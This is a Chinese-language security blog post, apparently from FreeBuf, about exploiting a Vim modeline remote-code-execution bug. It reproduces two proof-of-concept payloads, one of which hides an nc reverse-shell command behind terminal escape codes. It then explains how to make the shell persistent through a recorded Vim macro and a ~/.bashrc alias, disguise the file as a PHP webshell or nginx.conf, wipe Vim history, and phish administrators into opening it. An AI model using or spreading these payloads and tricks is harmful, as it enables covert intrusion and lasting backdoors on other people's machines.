*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
0x00 引言
作为一个vim多年使用者,前两天得知爆出个VIM的RCE漏洞搞的我有点害怕,因此特意对这个漏洞的利用进行了一些研究。由于本人是个菜的抠脚的脚本小子,因此并不会在这篇文章中去给大家解释漏洞原因,作为脚本小子我只关心如何利用。至于漏洞原因的一些解释可以去原作者的git上去看:原作者GitHub链接。
0x01 漏洞复现
先讲一下如何漏洞复现,复现该漏洞的基本条件是:
1.Vim版本在影响范围内,目前大部分版本都有受影响,至少我最近开启的GCP上的ubuntu默认的vim版本在8.0左右是受影响的。
2.必须开启modeline选项,这个选项很关键,我的GCP上默认是不开启的,所以严重降低了该漏洞的危害,不太确定低版本或者是一些衍生版本的vim会不会默认开启。
复现poc1过程:
1. 在~/.vimrc中加入set modeline确保开启该选项
2. 使用原作者的第一个poc直接写入一个文件并保存:`:!uname -a||" vi:fen:fdm=expr:fde=assertfails("source!\ \%"):fdl=0:fdt="
3. 然后使用vim打开该文件,如果受影响就会执行打印uname -a的结果,如果不受影响就是一个普通的文本
复现poc2过程:
先来看看原作者在git上写着的poc2:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\ fde=x\ \|\ source\!\ \%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
如果你只是检测的话可以不用看这个poc,这个poc主要是用来贴近实战的利用。我估计会有人使用这个poc1成功,但是使用poc2始终不成功,其实这个poc有几个地方需要改一下(准确来说是不能复制黏贴):
1.这里面涉及到的十六进制比如\x1b是需要通过二进制编辑器直接改成二进制的,复制黏贴是不行的。将poc中所有的十六进制位置编辑成二进制即可。
2.反斜杠的问题,原poc中作者为了转义特殊符号来显示所以多加了反斜杠,将所有涉及到转义的字符前面多一个的反斜杠“\”去掉就可以了
3.必要的话将最后的\n直接改成回车,如果\n在你的文本里没有被解释成回车的话
按照上面说的流程修改完poc后,我们在测试机本地起个nc监听:nc -lvp 9999最后打开poc2即可看到nc获取到了反弹链接。
0x02 改造poc2加入宏后门
先来说说为什么要加入宏后门,poc2中有个问题,就是当vim打开一次文档后,就不会在携带有恶意代码了从而变成一个普通文档。虽然我们可以通过第一次建立连接后下载木马来获得持久的后门,但这个方式不在讨论范围内了。这里我的想法是先实现每次打开文档都会获得反弹链接的持久后门,而不是依赖于下载外部木马。Poc2其实加了很多代码用来伪装成正常文件内容,使人即使打开文件也不会察觉到里面藏有恶意代码,而poc1则会很明显看到代码执行。这个伪装有几个特点:
受影响版本的vim和cat打开都不会显示插入的恶意代码。
cat -v可以看到恶意代码
不同版本的cat可能会看到一些显示的差异,但是恶意代码依旧是看不到的。
为了不破坏伪装同时做成可持续的后门,比较菜的我只想到了利用vim宏来达到这个效果。
基本实现思路:
首先,我们希望的是每次vim文件都会执行代码,那么有没有可能使其每次vim文件的时候都执行一边vim宏呢?这是可能的,过程如下:
1. 在vim窗口录制宏:q{寄存器名称},录制完成后再按下q按键停止
2. 在~/.bashrc中写入alias vim=vim -c ‘@{寄存器名称}’ 以及shopt -s expand_aliases,通过alias替换vim别名的方式来打开文件默认执行宏
3. 那么只要管理员重新登录shell,以后不管他vim什么文件都会执行我们写在宏里的命令
接下来要做的就是在poc2中合适的地方加入录制宏的命令,其实poc2中那些十六进制比如\x1b是ESC的意思,可以联想到这个应该是vim中切换模式的按键,因此我们可以通过在ESC之后需要执行的命令之前加入qy来开始录制宏y,在命令执行完后某个合适的位置加入q来终止宏的录制。在试了很多次后最终有了以下exp:基本的VIM宏样本
#进一步优化上面那个poc依旧存在几个问题:
1. 每次执行都会疯狂的往bashrc里插入alias那两句,只要vim一次就插一次,这很不好
2. 没有伪装成正常文件内容
为了改善第一个问题,我们可以通过分开执行两次命令,然后宏只录制第一个命令(即反弹shell),第二个插入命令只执行一次。这听起来很容易,其实做起来并不容易……多次执行会遇到很多问题,因为我太菜了所以花了很长的时间。改善第二个问题,其实也远远没有想的那么简单,以为只是在空白处插入文本即可,其实不是的,原poc中的命令会对这些文本产生影响,所以写入什么样的文本都还是有点考究的。这边给出一个最终将这两个问题都解决了并且伪装成一个PHP一句话的案例:伪装成php一句话木马的vim宏后门
PS:最后还有个vim历史命令里会残留执行的命令的问题,这个可以通过插入一些垃圾vim命令来伪装。
0x03 思考总结
考虑到这个漏洞需要开启modeline选项,所以危害严重降低。不过还是可以通过钓鱼来碰运气的,因为你说不好就有生产环境的vim开了这个。假设他们开了那么这个就会成为一个Linux上类似于win上的点击病毒,只要vim了就会中招,而且会随着原文件的copy同步来扩大。还有一些mbp用户也会中招,比如你在网上散播伪装成nginx.conf的文件,诱导那些可怜的开发者来下载使用。甚至于我们可以伪装成一个一句话木马上传到目标站点,至于他能不能执行都不重要,直接发邮件给管理员伪装成安全公司来告知他们扫描发现木马,建议他们通过vim打开文件确认后删除……总之开开脑洞还是可能有利用场景的,不过我个人认为吧,没错这个漏洞就是鸡肋玩具!最后如果有朋友知道具体哪些版本和可能的场景下vim会默认打开modeline选项,还请告知谢谢啦。
*本文作者:360安全忍者,转载请注明来自FreeBuf.COM